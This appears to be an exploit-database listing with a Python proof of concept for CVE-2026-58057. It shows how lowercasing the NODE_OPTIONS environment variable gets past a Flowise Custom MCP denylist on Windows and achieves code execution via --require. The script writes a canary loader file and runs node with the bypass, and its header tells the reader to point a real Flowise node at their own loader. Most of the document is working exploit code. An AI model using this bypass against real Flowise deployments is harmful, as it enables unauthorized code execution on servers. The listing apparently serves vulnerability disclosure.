Share
## https://sploitus.com/exploit?id=PACKETSTORM:225290
# Exploit Title: Flowise 3.1.3 - arbitrary code execution
# CVE: CVE-2026-58057
# Date: 2026-06-29
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://flowiseai.com
# Software Link: https://github.com/FlowiseAI/Flowise
# Affected: Flowise < 3.1.3 (Windows deployments)
# Tested on: Windows + Flowise 3.1.2
# Category: Remote Code Execution
# Platform: Windows
# Exploit Type: Authenticated
# CVSS: 2.3 (Medium)
# Description: On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison.
# Supplying "node_options" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require.
# Fixed in: 3.1.3 (switched to allow-list)
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
# python3 exploit.py --marker C:\\Temp\\pwned.txt
#
# Notes:
# โข Requires authenticated access to configure Custom MCP node
# โข Only affects Windows deployments
# โข Demonstrates bypass + canary RCE
#
# How to Use
#
# Step 1: Run the PoC to validate the bypass
# Step 2: In Flowise, configure a Custom MCP node with "node_options" env var pointing to your loader
import argparse
import json
import os
import pathlib
import platform
import shutil
import subprocess
import sys
import tempfile
def flowise_style_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def normalized_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key.upper() in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def run_node_canary(marker):
node = shutil.which("node")
if not node:
return {"node_found": False, "canary_created": False}
marker_path = pathlib.Path(marker).resolve()
loader_path = marker_path.with_suffix(".loader.js")
loader_path.write_text(
"require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\n",
encoding="utf-8",
)
env = os.environ.copy()
env.pop("NODE_OPTIONS", None)
env.pop("node_options", None)
env["node_options"] = f"--require {loader_path}"
env["FLOWISE_POC_MARKER"] = str(marker_path)
if marker_path.exists():
marker_path.unlink()
completed = subprocess.run(
[node, "-e", "process.exit(0)"],
env=env,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
return {
"node_found": True,
"node": node,
"returncode": completed.returncode,
"stderr": completed.stderr.strip(),
"marker": str(marker_path),
"canary_created": marker_path.exists(),
"canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
}
def run(marker):
exact_upper_blocked = False
lower_variant_accepted = False
normalized_blocks_lower = False
try:
flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
except ValueError:
exact_upper_blocked = True
try:
flowise_style_validate({"node_options": "--require accepted.js"})
lower_variant_accepted = True
except ValueError:
lower_variant_accepted = False
try:
normalized_validate({"node_options": "--require accepted.js"})
except ValueError:
normalized_blocks_lower = True
node_result = run_node_canary(marker)
result = {
"platform": platform.platform(),
"windows": os.name == "nt",
"flowise_style_exact_upper_blocked": exact_upper_blocked,
"flowise_style_lower_variant_accepted": lower_variant_accepted,
"normalized_validator_blocks_lower_variant": normalized_blocks_lower,
"node_canary": node_result,
"finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
}
print(json.dumps(result, indent=2))
return 0 if result["finding_reproduced"] else 1
def banner():
print(r"""
โโโโโโโโ โโโโโโ โโโโ โโโโโโ โโโ โโโโโโ โโโโ โโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโโโโโโโ โโโโโโ โโโโโโ โโโ โโโ โโโโโโ โโโ โโโโโโโโโโโโโโ โโโ
โโโโโโโ โโโ โโโโโโ โโโโโ โโโ โโโ โโโโโโ โโโโโโโโโโโโโโ โโโ
โโโ Banyamer Security โโโ
""")
def main():
banner()
parser = argparse.ArgumentParser(description="CVE-2026-58057 PoC")
parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
args = parser.parse_args()
raise SystemExit(run(args.marker))
if __name__ == "__main__":
main()